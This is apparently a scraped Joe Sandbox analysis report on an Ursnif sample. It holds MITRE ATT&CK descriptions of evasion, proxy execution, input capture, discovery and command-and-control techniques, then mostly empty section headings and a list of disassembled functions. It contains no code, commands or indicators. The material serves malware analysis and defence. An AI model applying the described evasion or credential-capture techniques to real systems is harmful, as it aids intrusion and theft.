Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report racial.drc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

Function 6D6B17A7, Relevance: 15.1, APIs: 10, Instructions: 103
threadsleepsynchronizationCOMMON

Function 6D6B1E04, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Function 6D6B1CA4, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Function 6D6B15A3, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Function 6D6B1D32, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Function 6D6B2485, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 195
nativeCOMMON

Function 6D6B146C, Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Function 6D6B1566, Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Function 6D6B1F31, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Function 6D6B2264, Relevance: .1, Instructions: 77
COMMONCrypto